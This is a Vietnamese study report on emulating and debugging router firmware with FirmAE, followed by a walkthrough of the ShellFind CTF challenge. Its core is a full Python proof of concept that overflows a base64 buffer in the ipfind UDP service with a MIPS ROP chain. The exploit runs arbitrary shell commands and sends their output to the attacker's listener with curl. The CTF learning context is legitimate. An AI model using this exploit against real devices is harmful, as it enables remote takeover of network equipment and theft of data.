# Báo cáo lần 5 [13/06/2023]
Tuần này, chúng ta sẽ cùng tìm hiểu cách phân tích cũng như giả lập một firmware để khai thác firmware đó.
# Công cụ
### [FirmAE](https://github.com/pr0v3rbs/FirmAE)
Đây là công cụ dùng để emulate firmware mà mình thấy là oke nhất. Công cụ này base từ [Firmadyne](https://github.com/firmadyne/firmadyne) và có công cụ khác cũng base từ Firmadyne đó là [Firmware Analyziz Toolkit](https://github.com/attify/firmware-analysis-toolkit).
Hiện tại cái repo của binwalk nó bị lỗi nên việc cài đặt bình thường sẽ thiếu dependencies. Các bạn có thể tải FirmAE từ repo của mình [ở đây](https://github.com/nhtri2003gmail/Firmware-Tools#firmae) vì mình đã patch các file cài đặt.
Để build và check 1 firmware, ta chạy lệnh sau:
```bash
sudo ./run.sh -c <brand> <firmware-path>
```
Tham số `-c` sẽ phân tích firmware, xác định architect, tạo ip và build image cho firmware để có thể emulate (lưu ý, tham số `-c` là chưa emulate mà chỉ mới build image thôi). Để emulate firmware, ta chạy FirmAE với tham số `-r`:
```bash
sudo ./run.sh -r <brand> <firmware-path>
```

Để vừa emulate vừa debug, ta chạy FirmAE với tham số `-d`:
```bash
sudo ./run.sh -d <brand> <firmware-path>
```

### gdb-multiarch
Firmware thông thường không chỉ có architect x86 hay x64 mà có thể là architect riscv hoặc arm hoặc mipsel do đó với gdb thông thường sẽ không thể debug được riscv, arm và mipsel. Để cài đặt gdb-multiarch ta chạy lệnh sau:
```bash
sudo apt-get -y install gdb-multiarch
```
### [Ghidra](https://ghidra-sre.org/)
Khi decompile các chương trình với các architect khác nhau, IDA hầu như không khả thi cho các trường hợp đó. Do vậy một công cụ thay thế tạm thời IDA đó là Ghidra.
# Khai thác
Mình sẽ sử dụng challenge ShellFind của giải Realworld 5th để demo. Đầu tiên ta emulate và debug firmware với option `-d` để chạy và access vào firmware vfa sau đó ta tiến hành kiểm tra các tiến trình đang bind trên các port UDP:

Ta thấy chỉ có 2 port đang được bind. Do đó ta sẽ list các tiến trình đang chạy ra:

Sau khi tìm kiếm qua một lượt, ta thấy một thí sinh khả nghi nhất đó là ipfind. Decompile ipfind ta thấy nó lắng nghe trên cổng 62720, đúng với cổng mà nó đang lắng nghe:

Vậy đã xác định được mục tiêu. Chương trình này cũng đơn giản, nó sẽ lấy dữ liệu từ người dùng theo các packet UDP:

Sau đó phân tích packet và trả lại thông tin cho người dùng:

Hàm FUN_0040172c sẽ được thực thi khi ta đưa địa chỉ MAC là `FF:FF:FF:FF:FF:FF` và chương trình sẽ đưa lại cho ta địa chỉ MAC của firmware. Nếu ta gửi gói tin với địa chỉ MAC là của firmware và các điều kiện khác thỏa thì hàm bên dưới FUN_004013f4 sẽ được thực thi.
Trong hàm FUN_004013f4, ta có thể thấy nó thực thi 1 hàm khác là FUN_00400f50:

Trong hàm FUN_00400f50, ta thấy ngay lỗi buffer overflow của lệnh base64 decode:

Với lỗi buffer overflow đó, ta chỉ việc đưa rop vào để thực thi system và ta thành công xâm nhập vào hệ thống firmware.
POC:
```python=
#!/usr/bin/python3
from pwn import *
import socket
from binascii import hexlify
from base64 import b64encode
import http.server as SimpleHTTPServer
import socketserver as SocketServer
import logging
SERVER_PORT = 8000
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
reply = str(self.headers)
reply = reply[reply.index('<START>')+7:]
reply = reply[:reply.index('<END>')]
print(reply)
def run(cmd):
IP = '192.168.0.1'
PORT = 62720
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#########################################
### Stage 1: Get HWaddr (MAC) address ###
#########################################
payload = (
b'FIVI' +
p32(0xffffffff) +
b'\n' +
p8(0x1) + # opcode
p8(0x0) +
p8(0x0) +
p8(0x0) +
b'AAAA' +
b'\xff'*6 +
p16(0) +
p32(0) +
cyclic(0x800 - 4)
)
s.sendto(payload, (IP, PORT))
out = s.recv(4096)
mac = out[0x11:0x11+6]
mac_str = hexlify(p8(mac[0])).decode() + ''.join([f':{hexlify(p8(i)).decode()}' for i in mac[1:]])
#####################################################
### Stage 2: Change @got to system@plt_dlresolver ###
#####################################################
note = '''
gef-remote 192.168.0.1 1337
Set $gp to this to call system by plt
$gp : 0x41b030
system@plt = $gp-0x7f24
system@got = 0x41310c
system@plt_dlresolver = 0x402840
0x00400c9c: lw $gp, 0x10($sp); lw $ra, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x20;
'''
lw_gp_sp0x10 = 0x00400c9c
lw_v0_sp_sw_v0_s00xd = 0x00400F24
payload = (
b'FIVI' +
p32(0xffffffff) +
b'\n' +
p8(0x2) + # opcode
p8(0x0) +
p8(0x0) +
p8(0x0) +
b'AAAA' +
mac +
p16(0) +
p32(0x8e) +
b64encode(
b'\0'*0x274 + \
p32(0x4130a8-0xd)[::-1] + \
p32(0)[::-1] + \
p32(lw_gp_sp0x10)[::-1] + \
b'B'*0x10 + \
p32(0x41b030)[::-1] + \
b'C'*0x8 + \
p32(lw_v0_sp_sw_v0_s00xd)[::-1] + \
b'D'*24 + \
p32(0x402840)[::-1] + \
b'B'*4 + \
p32(0x402840)[::-1] + \
p32(lw_gp_sp0x10)[::-1] + \
b'B'*0x10 + \
p32(0x41b030)[::-1] + \
b'C'*0x8 + \
p32(0x00401768)[::-1] + \
b'A'*33 + \
f'curl -H "res: <START>$({cmd})<END>" 192.168.0.2:{SERVER_PORT} ; rm /var/run/ipfind-br0.pid ; /usr/sbin/ipfind br0 &'.encode() + \
b''
)
)
s.sendto(payload, (IP, PORT))
if __name__=='__main__':
Handler = GetHandler
httpd = SocketServer.TCPServer(("", SERVER_PORT), Handler)
t = threading.Thread(target=httpd.serve_forever)
t.daemon = True
t.start()
try:
while True:
cmd = input("# ")
run(cmd)
except KeyboardInterrupt:
print("Bye bye, see you later!")
```
Thành phẩm:
